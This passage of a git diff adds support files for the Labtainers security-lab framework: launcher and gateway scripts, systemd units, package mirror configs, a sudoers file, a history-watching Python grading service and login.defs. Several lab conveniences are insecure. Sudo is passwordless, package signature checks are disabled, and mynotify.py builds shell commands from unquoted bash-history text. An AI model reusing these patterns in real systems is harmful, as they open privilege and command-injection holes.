MOZ_APP_LAUNCHER=`readlink -f $MOZ_APP_LAUNCHER` + MOZ_LIBDIR=`dirname $MOZ_APP_LAUNCHER` + else + echo "Can't find $MOZ_LIBDIR/$MOZ_APP_NAME" + exit 1 + fi +done + +usage () { + $MOZ_LIBDIR/$MOZ_APP_NAME -h | sed -e 's,/.*/,,' + echo + echo " -g or --debug Start within debugger" + echo " -d or --debugger Specify debugger to start with (eg, gdb or valgrind)" + echo " -a or --debugger-args Specify arguments for debugger" +} + +moz_debug=0 +moz_debugger_args="" +moz_debugger="gdb" + +while [ $# -gt 0 ]; do + case "$1" in + -h | --help ) + usage + exit 0 + ;; + -g | --debug ) + moz_debug=1 + shift + ;; + -d | --debugger) + moz_debugger=$2; + if [ "${moz_debugger}" != "" ]; then + shift 2 + else + echo "-d requires an argument" + exit 1 + fi + ;; + -a | --debugger-args ) + moz_debugger_args=$2; + if [ "${moz_debugger_args}" != "" ] ; then + shift 2 + else + echo "-a requires an argument" + exit 1 + fi + ;; + -- ) # Stop option processing + shift + break + ;; + * ) + break + ;; + esac +done + +if [ $moz_debug -eq 1 ] ; then + case $moz_debugger in + memcheck) + debugger="valgrind" + ;; + *) + debugger=$moz_debugger + ;; + esac + + debugger=`which $debugger` + if [ ! -x $debugger ] ; then + echo "Invalid debugger" + exit 1 + fi + + case `basename $moz_debugger` in + gdb) + exec $debugger $moz_debugger_args --args $MOZ_LIBDIR/$MOZ_APP_NAME "$@" + ;; + memcheck) + echo "$MOZ_APP_NAME has not been compiled with valgrind support" + exit 1 + ;; + *) + exec $debugger $moz_debugger_args $MOZ_LIBDIR/$MOZ_APP_NAME "$@" + ;; + esac +else + exec $MOZ_LIBDIR/$MOZ_APP_NAME --new-instance "$@" +fi diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/scripts/designer/system/bin/funbuffer b/modules/utilities/unix/labtainers/files/Labtainers-master/scripts/designer/system/bin/funbuffer new file mode 100755 index 000000000..f2e9707c4 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/scripts/designer/system/bin/funbuffer @@ -0,0 +1,35 @@ +#!/bin/sh +# -*- tcl -*- +# The next line is executed by /bin/sh, but not tcl \ +exec tclsh8.6 "$0" ${1+"$@"} +package require Expect + + +# -*- tcl -*- +# Description: unbuffer stdout of a program +# Author: Don Libes, NIST +if {[string compare [lindex $argv 0] "-p"] == 0} { + # pipeline + set stty_init "-echo" + eval [list spawn -noecho -ignore HUP] [lrange $argv 1 end] + close_on_eof -i $user_spawn_id 0 + interact { + eof { + # flush remaining output from child + expect -timeout 1 -re .+ + #send_user "here\n" + return + } + } + set result [wait] + if { [llength $result] > 4 } { + #send_user "wait returned $result\n" + send_user "program exit, [lindex $result 6]\n" + } +} else { + set stty_init "-opost" + set timeout -1 + eval [list spawn -noecho] $argv + expect + exit [lindex [wait] 3] +} diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/scripts/designer/system/bin/funbuffer-8.5 b/modules/utilities/unix/labtainers/files/Labtainers-master/scripts/designer/system/bin/funbuffer-8.5 new file mode 100755 index 000000000..89c597d1d --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/scripts/designer/system/bin/funbuffer-8.5 @@ -0,0 +1,35 @@ +#!/bin/sh +# -*- tcl -*- +# The next line is executed by /bin/sh, but not tcl \ +exec tclsh8.5 "$0" ${1+"$@"} +package require Expect + + +# -*- tcl -*- +# Description: unbuffer stdout of a program +# Author: Don Libes, NIST +if {[string compare [lindex $argv 0] "-p"] == 0} { + # pipeline + set stty_init "-echo" + eval [list spawn -noecho -ignore HUP] [lrange $argv 1 end] + close_on_eof -i $user_spawn_id 0 + interact { + eof { + # flush remaining output from child + expect -timeout 1 -re .+ + #send_user "here\n" + return + } + } + set result [wait] + if { [llength $result] > 4 } { + #send_user "wait returned $result\n" + send_user "program exit, [lindex $result 6]\n" + } +} else { + set stty_init "-opost" + set timeout -1 + eval [list spawn -noecho] $argv + expect + exit [lindex [wait] 3] +} diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/scripts/designer/system/bin/login b/modules/utilities/unix/labtainers/files/Labtainers-master/scripts/designer/system/bin/login new file mode 100755 index 000000000..f6bee58da Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/scripts/designer/system/bin/login differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/scripts/designer/system/bin/set_default_gw.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/scripts/designer/system/bin/set_default_gw.sh new file mode 100755 index 000000000..922f5c7ff --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/scripts/designer/system/bin/set_default_gw.sh @@ -0,0 +1,20 @@ +#!/bin/bash +# +# Define a default route for the container. +# Saves original default route, and hardcodes +# route to my_host. +# +labvar=/var/run/labtainers +mkdir -p $labvar +my_host_ip=$(grep my_host /etc/hosts | awk '{print $1}') +host_default_gw=$(route -n | grep "^0.0.0.0" | awk '{print $2}') +#echo myip is $my_host_ip +#echo mygw is $host_default_gw +if [ ! -f $labvar/host_gw ]; then + echo $host_default_gw > $labvar/host_gw +fi +echo $1 > $labvar/container_gw +route add -host $my_host_ip gw $host_default_gw +route delete default +route add default gw $1 + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/scripts/designer/system/bin/togglegw.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/scripts/designer/system/bin/togglegw.sh new file mode 100755 index 000000000..e0bed714b --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/scripts/designer/system/bin/togglegw.sh @@ -0,0 +1,61 @@ +#!/usr/bin/env bash +: <<'END' +This software was created by United States Government employees at +The Center for the Information Systems Studies and Research (CISR) +at the Naval Postgraduate School NPS. Please note that within the +United States, copyright protection is not available for any works +created by United States Government employees, pursuant to Title 17 +United States Code Section 105. This software is in the public +domain and is not subject to copyright. +END + +# togglegw.sh +# Arguments: container | host +# +# Usage: togglegw.sh container | host +# +# Description: Toggle the default gateway + +#container_gw="$HOME"/.local/.container_gateway +#host_gw="$HOME"/.local/.host_gateway +container_gw=/var/run/labtainers/container_gw +host_gw=/var/run/labtainers/host_gw + +if [ "$#" -ne 1 ]; then + echo "USAGE: togglegw.sh container | host" + exit 1 +fi +gateway=$1 +if [ "$gateway" == "container" ]; then + echo "Setting default gateway container's gateway" + if [ -f $container_gw ]; then + #echo "Container gateway file exists" + #echo "Delete any default gateway first" + route delete default + default_gw=`cat $container_gw` + #echo "About to run command: route add default gw $default_gw" + route add default gw $default_gw + else + echo "ERROR: Container gateway file does not exists" + exit 1 + fi +elif [ "$gateway" == "host" ]; then + echo "Setting default gateway host's gateway" + if [ -f $host_gw ]; then + #echo "Host gateway file exists" + #echo "Delete any default gateway first" + route delete default + default_gw=`cat $host_gw` + #echo "About to run command: route add default gw $default_gw" + route add default gw $default_gw + else + echo "ERROR: Host gateway file does not exists" + exit 1 + fi +else + echo "USAGE: togglegw.sh container | host" + exit 1 +fi + +#echo "Container's default gateway is now set!" + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/scripts/designer/system/bin/wait_param.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/scripts/designer/system/bin/wait_param.sh new file mode 100755 index 000000000..6aaf151f0 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/scripts/designer/system/bin/wait_param.sh @@ -0,0 +1,10 @@ +#!/bin/bash +# +# wait for container to be parameterized +# +PERMLOCKDIR=/var/labtainer/did_param +while [ ! -d "$PERMLOCKDIR" ] +do + sleep 2 +done + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/scripts/designer/system/bin/yum-source.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/scripts/designer/system/bin/yum-source.sh new file mode 100755 index 000000000..17f35050d --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/scripts/designer/system/bin/yum-source.sh @@ -0,0 +1,18 @@ +#!/bin/bash +# +# The original /etc/yum.repos.d repo files are in # /tmp/yum.repos.d +# If not building from NPS, then restore the repos +# Otherwise, move the epel repos to the temp. They were needed to +# install python-pip. TBD move that to local mirror. +# +# +if [[ "$APT_SOURCE" != NPS ]]; then + if [ -d /var/tmp/yum.repos.d ]; then + mv /var/tmp/yum.repos.d/* /etc/yum.repos.d/ + rmdir /var/tmp/yum.repos.d + fi +else + mkdir -p /var/tmp/yum.repos.d + mv /etc/yum.repos.d/epel* /var/tmp/yum.repos.d/ +fi + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/scripts/designer/system/etc/nps.repo b/modules/utilities/unix/labtainers/files/Labtainers-master/scripts/designer/system/etc/nps.repo new file mode 100644 index 000000000..28bb437c8 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/scripts/designer/system/etc/nps.repo @@ -0,0 +1,24 @@ +# +# Use the NPS CentOS mirror to pull most packages +# +[base] +name=CentOS Base +baseurl=http://centosmirror.uc.nps.edu/repos/base/ +gpgcheck=0 +enabled=1 +[centosplus] +name=CentOS CentOSPlus +baseurl=http://centosmirror.uc.nps.edu/repos/centosplus/ +gpgcheck=0 +enabled=1 +[extras] +name=CentOS Extras +baseurl=http://centosmirror.uc.nps.edu/repos/extras/ +gpgcheck=0 +enabled=1 +[updates] +name=CentOS Updates +baseurl=http://centosmirror.uc.nps.edu/repos/updates/ +gpgcheck=0 +enabled=1 + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/scripts/designer/system/etc/nps.sources.list b/modules/utilities/unix/labtainers/files/Labtainers-master/scripts/designer/system/etc/nps.sources.list new file mode 100644 index 000000000..a54316ee5 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/scripts/designer/system/etc/nps.sources.list @@ -0,0 +1,5 @@ +deb http://ubuntumirror.uc.nps.edu/ubuntu/ xenial main restricted +deb http://ubuntumirror.uc.nps.edu/ubuntu/ xenial-updates main restricted +deb http://ubuntumirror.uc.nps.edu/ubuntu/ xenial universe +deb http://us.archive.ubuntu.com/ubuntu/ xenial multiverse + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/scripts/designer/system/etc/rc.local b/modules/utilities/unix/labtainers/files/Labtainers-master/scripts/designer/system/etc/rc.local new file mode 100755 index 000000000..65634dfa4 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/scripts/designer/system/etc/rc.local @@ -0,0 +1,14 @@ +#!/bin/sh -e +# +# rc.local +# +# This script is executed at the end of each multiuser runlevel. +# Make sure that the script will "exit 0" on success or any other +# value on error. +# +# In order to enable or disable this script just change the execution +# bits. +# +# By default this script does nothing. + +exit 0 diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/scripts/designer/system/etc/sudoers b/modules/utilities/unix/labtainers/files/Labtainers-master/scripts/designer/system/etc/sudoers new file mode 100644 index 000000000..c18661944 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/scripts/designer/system/etc/sudoers @@ -0,0 +1,32 @@ +# +# This file MUST be edited with the 'visudo' command as root. +# +# Please consider adding local content in /etc/sudoers.d/ instead of +# directly modifying this file. +# +# See the man page for details on how to write a sudoers file. +# +Defaults env_reset +Defaults mail_badpass +Defaults secure_path="/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin" + +# Host alias specification + +# User alias specification + +# Cmnd alias specification + +# User privilege specification +root ALL=(ALL:ALL) ALL + +# Members of the admin group may gain root privileges +%admin ALL=(ALL) ALL + +# Allow members of group sudo to execute any command +#%sudo ALL=(ALL:ALL) ALL +%sudo ALL=(ALL) NOPASSWD:ALL +%wheel ALL=(ALL) NOPASSWD:ALL + +# See sudoers(5) for more information on "#include" directives: + +#includedir /etc/sudoers.d diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/scripts/designer/system/etc/systemd/system/httpd.service b/modules/utilities/unix/labtainers/files/Labtainers-master/scripts/designer/system/etc/systemd/system/httpd.service new file mode 100755 index 000000000..5413810d6 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/scripts/designer/system/etc/systemd/system/httpd.service @@ -0,0 +1,22 @@ +[Unit] +Description=The Apache HTTP Server +After=network.target remote-fs.target nss-lookup.target waitparam.service +Documentation=man:httpd(8) +Documentation=man:apachectl(8) + +[Service] +Type=notify +EnvironmentFile=/etc/sysconfig/httpd +ExecStart=/usr/sbin/httpd $OPTIONS -DFOREGROUND +ExecReload=/usr/sbin/httpd $OPTIONS -k graceful +ExecStop=/bin/kill -WINCH ${MAINPID} +# We want systemd to give httpd some time to finish gracefully, but still want +# it to kill httpd after TimeoutStopSec if something went wrong during the +# graceful stop. Normally, Systemd sends SIGTERM signal right after the +# ExecStop, which would kill httpd. We are sending useless SIGCONT here to give +# httpd time to finish. +KillSignal=SIGCONT +PrivateTmp=true + +[Install] +WantedBy=multi-user.target diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/scripts/designer/system/etc/systemd/system/mynotify.service b/modules/utilities/unix/labtainers/files/Labtainers-master/scripts/designer/system/etc/systemd/system/mynotify.service new file mode 100755 index 000000000..4e1202e56 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/scripts/designer/system/etc/systemd/system/mynotify.service @@ -0,0 +1,9 @@ +[Unit] +Description=mynotify + +[Service] +ExecStartPre=/usr/bin/wait_param.sh +ExecStart=/sbin/mynotify.py + +[Install] +WantedBy=multi-user.target diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/scripts/designer/system/lib/systemd/system/waitparam.service b/modules/utilities/unix/labtainers/files/Labtainers-master/scripts/designer/system/lib/systemd/system/waitparam.service new file mode 100644 index 000000000..8c4734ac7 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/scripts/designer/system/lib/systemd/system/waitparam.service @@ -0,0 +1,13 @@ +[Unit] +Description=Wait for labtainers parameterization +Before=rc-local.service + +[Service] +Type=notify +ExecStart=/sbin/waitparam.sh +StandardOutput=null + +[Install] +WantedBy=multi-user.target +Alias=waitparam.service + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/scripts/designer/system/lib/systemd/system/waitparam.service.cfs b/modules/utilities/unix/labtainers/files/Labtainers-master/scripts/designer/system/lib/systemd/system/waitparam.service.cfs new file mode 100644 index 000000000..84d488f3b --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/scripts/designer/system/lib/systemd/system/waitparam.service.cfs @@ -0,0 +1,13 @@ +[Unit] +Description=Wait for labtainers parameterization +Before=rc-local.service + +[Service] +Type=notify +ExecStart=/usr/sbin/waitparam.sh +StandardOutput=null + +[Install] +WantedBy=multi-user.target +Alias=waitparam.service + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/scripts/designer/system/sbin/mynotify.py b/modules/utilities/unix/labtainers/files/Labtainers-master/scripts/designer/system/sbin/mynotify.py new file mode 100755 index 000000000..052840bd6 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/scripts/designer/system/sbin/mynotify.py @@ -0,0 +1,175 @@ +#!/usr/bin/env python +''' +This software was created by United States Government employees at +The Center for the Information Systems Studies and Research (CISR) +at the Naval Postgraduate School NPS. Please note that within the +United States, copyright protection is not available for any works +created by United States Government employees, pursuant to Title 17 +United States Code Section 105. This software is in the public +domain and is not subject to copyright. +''' +import os +import time +import logging +import subprocess +from inotify_simple import INotify, flags + +''' +This runs as a service on the containers. It uses inotify +to catch events defined in the .local/bin/notify file, +and will invoke notify_cb.sh for when those events occur. +We pass the file, the mode, the the first user in the system to +notify_cb.sh The timestamped output is appended to any +existing notify.stdout.... within 1 second of now. +Alternately, the notify file can include an optional output +filename. + +It dies without a wimper. Debug by manually running and generating +inotify events. +''' +logger = logging.getLogger('mynotify') +hdlr = logging.FileHandler('/tmp/mynotify.log') +formatter = logging.Formatter('%(asctime)s %(levelname)s %(message)s') +hdlr.setFormatter(formatter) +logger.addHandler(hdlr) +logger.setLevel(logging.DEBUG) + + +class WatchType(): + def __init__(self, path, flag, outfile=None): + self.path = path + self.flag = flag + self.outfile = outfile + +def showMask(mask): + if mask & flags.CREATE: + print('CREATE') + if mask & flags.ACCESS: + print('ACCESS') + if mask & flags.OPEN: + print('OPEN') + + +def get_flag(flag): + if flag == 'CREATE': + return flags.CREATE + elif flag == 'ACCESS': + return flags.ACCESS + elif flag == 'OPEN': + return flags.OPEN + else: + return None + +def get_first_user(): + with open('/etc/passwd') as fh: + for line in fh: + parts = line.strip().split(':') + if parts[2] == '1000': + return parts[0] + return None + +logger.debug('Start mynotify') +watches = {} + +inotify = INotify() +first_user = get_first_user() +logger.debug('first user is %s' % first_user) +notify_file = '/home/%s/.local/bin/notify' % first_user +notify_cb = '/home/%s/.local/bin/notify_cb.sh' % first_user +results = '/home/%s/.local/result' % first_user + +if not os.path.isfile(notify_file) or not os.path.isfile(notify_cb): + logger.error('missing notify %s' % (notify_file)) + exit(0) + +if not os.path.isfile(notify_cb): + logger.debug("no notify_cb.sh, just ouput path & cmd") + notify_cb = None + +''' read in the notify file, set watches on file access as directed ''' +with open(notify_file) as fh: + for line in fh: + if not line.strip().startswith('#'): + parts = line.strip().split() + outfile = None + if len(parts) > 2: + outfile = parts[2] + watch = WatchType(parts[0], parts[1], outfile) + flag = get_flag(watch.flag) + try: + wd = inotify.add_watch(watch.path, flag) + watches[wd] = watch + except: + logger.debug('could not add watch for %s %s' % (watch.path, watch.flag)) +# +# forever loop responding to inotify events +# +while True: + for event in inotify.read(): + print(event) + showMask(event.mask) + watch = watches[event.wd] + logger.debug('path: %s flag: %s' % (watch.path, watch.flag)) + now = time.time() + ts = time.strftime('%Y%m%d%H%M%S', time.localtime(now)) + ''' use given outputfile name, if provided in the notify directive ''' + if watch.outfile is None: + notifyoutfile = os.path.join(results, 'notify.stdout') + else: + notifyoutfile = os.path.join(results, '%s.stdout' % (watch.outfile)) + notifyoutfile_ts = '%s.%s' % (notifyoutfile, ts) + #notifyoutfile = os.path.join(results, 'notify.stdin.%s' % ts) + hist_file = '/home/%s/.bash_history' % first_user + cmd_time_history = os.path.getmtime(hist_file) + root_hist_file = '/root/.bash_history' + cmd_user = first_user + if os.path.isfile(root_hist_file): + time_root_history = os.path.getmtime(root_hist_file) + if cmd_time_history > time_root_history: + cmd_time_history = time_root_history + hist_file = root_hist_file + cmd_user = 'root' + cmd = None + with open(hist_file) as fh: + hist = fh.readlines() + cmd = hist[-1].strip() + if cmd.startswith('sudo'): + cmd = cmd[5:] + cmd_user = 'root' + + ''' determine if we should append to an existig output file ''' + is_a_file = False + if not os.path.isfile(notifyoutfile_ts): + ''' no file, if from previous second, use that as hack to merge with output from command ''' + now = now -1 + ts = time.strftime('%Y%m%d%H%M%S', time.localtime(now)) + tmpfile = '%s.%s' % (notifyoutfile, ts) + if os.path.isfile(tmpfile): + notifyoutfile_ts = tmpfile + is_a_file = True + else: + is_a_file = True + + if is_a_file: + ''' existing file, append to it ''' + if notify_cb is not None: + sys_cmd = '%s %s %s %s %s >> %s 2>/dev/null' % (notify_cb, watch.path, + watch.flag, cmd_user, cmd, notifyoutfile_ts) + os.system(sys_cmd) + logger.debug('sys_cmd is %s' % sys_cmd) + else: + with open(notifyoutfile_ts, 'a') as fh: + fh.write('path: %s cmd: %s user: %s' % (watch.path, cmd, cmd_user)) + else: + if notify_cb is not None: + ''' only write to file if notify_cb generates output ''' + sys_cmd = '%s %s %s %s "%s"' % (notify_cb, watch.path, watch.flag, cmd_user, cmd) + logger.debug('sys_cmd is %s' % sys_cmd) + child = subprocess.Popen(sys_cmd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE) + output = child.communicate() + if len(output[0]) > 0: + with open(notifyoutfile_ts, 'w') as fh: + fh.write(output[0]) + else: + with open(notifyoutfile_ts, 'a') as fh: + fh.write('path: %s cmd: %s user: %s' % (watch.path, cmd, cmd_user)) diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/scripts/designer/system/sbin/waitparam.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/scripts/designer/system/sbin/waitparam.sh new file mode 100755 index 000000000..0e29f2ef9 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/scripts/designer/system/sbin/waitparam.sh @@ -0,0 +1,12 @@ +#!/bin/bash +# +# wait until parameterization happens +# +echo "start wait" >/tmp/wait.log +PERMLOCKDIR=/var/labtainer/did_param +while [ ! -d "$PERMLOCKDIR" ] +do + sleep 2 +done +systemd-notify --ready +date >>/tmp/wait.log diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/scripts/designer/system/usr/share/man/man1.tar b/modules/utilities/unix/labtainers/files/Labtainers-master/scripts/designer/system/usr/share/man/man1.tar new file mode 100644 index 000000000..0d7228031 Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/scripts/designer/system/usr/share/man/man1.tar differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/scripts/designer/system/var/tmp/home.tar b/modules/utilities/unix/labtainers/files/Labtainers-master/scripts/designer/system/var/tmp/home.tar new file mode 100644 index 000000000..01ad7e338 Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/scripts/designer/system/var/tmp/home.tar differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/scripts/designer/templates/_bin/fixlocal.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/scripts/designer/templates/_bin/fixlocal.sh new file mode 100755 index 000000000..a9532b0e6 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/scripts/designer/templates/_bin/fixlocal.sh @@ -0,0 +1,18 @@ +#!/bin/bash +# +# This script will be run after parameterization has completed, e.g., +# use this to compile source code that has been parameterized. +# The container user password will be passed as the first argument, +# (the user ID is the second parameter) +# If this script is to use sudo and the sudoers for the lab +# does not permit nopassword, then use: +# echo $1 | sudo -S the-command +# +# If you issue commands herein to start services, and those services +# have unit files prescribing their being started after the +# waitparam.service, then first create the flag directory that +# waitparam sleeps on: +# +# PERMLOCKDIR=/var/labtainer/did_param +# echo $1 | sudo -S mkdir -p "$PERMLOCKDIR" + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/scripts/designer/templates/_system/etc/login.defs b/modules/utilities/unix/labtainers/files/Labtainers-master/scripts/designer/templates/_system/etc/login.defs new file mode 100644 index 000000000..09f4d6373 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/scripts/designer/templates/_system/etc/login.defs @@ -0,0 +1,341 @@ +# +# /etc/login.defs - Configuration control definitions for the login package. +# +# Three items must be defined: MAIL_DIR, ENV_SUPATH, and ENV_PATH. +# If unspecified, some arbitrary (and possibly incorrect) value will +# be assumed. All other items are optional - if not specified then +# the described action or option will be inhibited. +# +# Comment lines (lines beginning with "#") and blank lines are ignored. +# +# Modified for Linux. --marekm + +# REQUIRED for useradd/userdel/usermod +# Directory where mailboxes reside, _or_ name of file, relative to the +# home directory. If you _do_ define MAIL_DIR and MAIL_FILE, +# MAIL_DIR takes precedence. +# +# Essentially: +# - MAIL_DIR defines the location of users mail spool files +# (for mbox use) by appending the username to MAIL_DIR as defined +# below. +# - MAIL_FILE defines the location of the users mail spool files as the +# fully-qualified filename obtained by prepending the user home +# directory before $MAIL_FILE +# +# NOTE: This is no more used for setting up users MAIL environment variable +# which is, starting from shadow 4.0.12-1 in Debian, entirely the +# job of the pam_mail PAM modules +# See default PAM configuration files provided for +# login, su, etc. +# +# This is a temporary situation: setting these variables will soon +# move to /etc/default/useradd and the variables will then be +# no more supported +MAIL_DIR /var/mail +#MAIL_FILE .mail + +# +# Enable logging and display of /var/log/faillog login failure info. +# This option conflicts with the pam_tally PAM module. +# +FAILLOG_ENAB yes + +# +# Enable display of unknown usernames when login failures are recorded. +# +# WARNING: Unknown usernames may become world readable. +# See #290803 and #298773 for details about how this could become a security +# concern +LOG_UNKFAIL_ENAB no + +# +# Enable logging of successful logins +# +LOG_OK_LOGINS no + +# +# Enable "syslog" logging of su activity - in addition to sulog file logging. +# SYSLOG_SG_ENAB does the same for newgrp and sg. +# +SYSLOG_SU_ENAB yes +SYSLOG_SG_ENAB yes + +# +# If defined, all su activity is logged to this file. +# +#SULOG_FILE /var/log/sulog + +# +# If defined, file which maps tty line to TERM environment parameter. +# Each line of the file is in a format something like "vt100 tty01". +# +#TTYTYPE_FILE /etc/ttytype + +# +# If defined, login failures will be logged here in a utmp format +# last, when invoked as lastb, will read /var/log/btmp, so... +# +FTMP_FILE /var/log/btmp + +# +# If defined, the command name to display when running "su -". For +# example, if this is defined as "su" then a "ps" will display the +# command is "-su". If not defined, then "ps" would display the +# name of the shell actually being run, e.g. something like "-sh". +# +SU_NAME su + +# +# If defined, file which inhibits all the usual chatter during the login +# sequence. If a full pathname, then hushed mode will be enabled if the +# user's name or shell are found in the file. If not a full pathname, then +# hushed mode will be enabled if the file exists in the user's home directory. +# +HUSHLOGIN_FILE .hushlogin +#HUSHLOGIN_FILE /etc/hushlogins + +# +# *REQUIRED* The default PATH settings, for superuser and normal users. +# +# (they are minimal, add the rest in the shell startup files) +ENV_SUPATH PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin +ENV_PATH PATH=/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games + +# +# Terminal permissions +# +# TTYGROUP Login tty will be assigned this group ownership. +# TTYPERM Login tty will be set to this permission. +# +# If you have a "write" program which is "setgid" to a special group +# which owns the terminals, define TTYGROUP to the group number and +# TTYPERM to 0620. Otherwise leave TTYGROUP commented out and assign +# TTYPERM to either 622 or 600. +# +# In Debian /usr/bin/bsd-write or similar programs are setgid tty +# However, the default and recommended value for TTYPERM is still 0600 +# to not allow anyone to write to anyone else console or terminal + +# Users can still allow other people to write them by issuing +# the "mesg y" command. + +TTYGROUP tty +TTYPERM 0600 + +# +# Login configuration initializations: +# +# ERASECHAR Terminal ERASE character ('\010' = backspace). +# KILLCHAR Terminal KILL character ('\025' = CTRL/U). +# UMASK Default "umask" value. +# +# The ERASECHAR and KILLCHAR are used only on System V machines. +# +# UMASK is the default umask value for pam_umask and is used by +# useradd and newusers to set the mode of the new home directories. +# 022 is the "historical" value in Debian for UMASK +# 027, or even 077, could be considered better for privacy +# There is no One True Answer here : each sysadmin must make up his/her +# mind. +# +# If USERGROUPS_ENAB is set to "yes", that will modify this UMASK default value +# for private user groups, i. e. the uid is the same as gid, and username is +# the same as the primary group name: for these, the user permissions will be +# used as group permissions, e. g. 022 will become 002. +# +# Prefix these values with "0" to get octal, "0x" to get hexadecimal. +# +ERASECHAR 0177 +KILLCHAR 025 +UMASK 022 + +# +# Password aging controls: +# +# PASS_MAX_DAYS Maximum number of days a password may be used. +# PASS_MIN_DAYS Minimum number of days allowed between password changes. +# PASS_WARN_AGE Number of days warning given before a password expires. +# +PASS_MAX_DAYS 99999 +PASS_MIN_DAYS 0 +PASS_WARN_AGE 7 + +# +# Min/max values for automatic uid selection in useradd +# +UID_MIN 1000 +UID_MAX 60000 +# System accounts +#SYS_UID_MIN 100 +#SYS_UID_MAX 999 + +# +# Min/max values for automatic gid selection in groupadd +# +GID_MIN 1000 +GID_MAX 60000 +# System accounts +#SYS_GID_MIN 100 +#SYS_GID_MAX 999 + +# +# Max number of login retries if password is bad. This will most likely be +# overriden by PAM, since the default pam_unix module has it's own built +# in of 3 retries. However, this is a safe fallback in case you are using +# an authentication module that does not enforce PAM_MAXTRIES. +# +LOGIN_RETRIES 5 + +# +# Max time in seconds for login +# +LOGIN_TIMEOUT 60 + +# +# Which fields may be changed by regular users using chfn - use +# any combination of letters "frwh" (full name, room number, work +# phone, home phone). If not defined, no changes are allowed. +# For backward compatibility, "yes" = "rwh" and "no" = "frwh". +# +CHFN_RESTRICT rwh + +# +# Should login be allowed if we can't cd to the home directory? +# Default in no. +# +DEFAULT_HOME yes + +# +# If defined, this command is run when removing a user. +# It should remove any at/cron/print jobs etc. owned by +# the user to be removed (passed as the first argument). +# +#USERDEL_CMD /usr/sbin/userdel_local + +# +# Enable setting of the umask group bits to be the same as owner bits +# (examples: 022 -> 002, 077 -> 007) for non-root users, if the uid is +# the same as gid, and username is the same as the primary group name. +# +# If set to yes, userdel will remove the user´s group if it contains no +# more members, and useradd will create by default a group with the name +# of the user. +# +USERGROUPS_ENAB yes + +# +# Instead of the real user shell, the program specified by this parameter +# will be launched, although its visible name (argv[0]) will be the shell's. +# The program may do whatever it wants (logging, additional authentification, +# banner, ...) before running the actual shell. +# +# FAKE_SHELL /bin/fakeshell + +# +# If defined, either full pathname of a file containing device names or +# a ":" delimited list of device names. Root logins will be allowed only +# upon these devices. +# +# This variable is used by login and su. +# +#CONSOLE /etc/consoles +#CONSOLE console:tty01:tty02:tty03:tty04 + +# +# List of groups to add to the user's supplementary group set +# when logging in on the console (as determined by the CONSOLE +# setting). Default is none. +# +# Use with caution - it is possible for users to gain permanent +# access to these groups, even when not logged in on the console. +# How to do it is left as an exercise for the reader... +# +# This variable is used by login and su. +# +#CONSOLE_GROUPS floppy:audio:cdrom + +# +# If set to "yes", new passwords will be encrypted using the MD5-based +# algorithm compatible with the one used by recent releases of FreeBSD. +# It supports passwords of unlimited length and longer salt strings. +# Set to "no" if you need to copy encrypted passwords to other systems +# which don't understand the new algorithm. Default is "no". +# +# This variable is deprecated. You should use ENCRYPT_METHOD. +# +#MD5_CRYPT_ENAB no + +# +# If set to MD5 , MD5-based algorithm will be used for encrypting password +# If set to SHA256, SHA256-based algorithm will be used for encrypting password +# If set to SHA512, SHA512-based algorithm will be used for encrypting password +# If set to DES, DES-based algorithm will be used for encrypting password (default) +# Overrides the MD5_CRYPT_ENAB option +# +# Note: It is recommended to use a value consistent with +# the PAM modules configuration. +# +ENCRYPT_METHOD SHA512 + +# 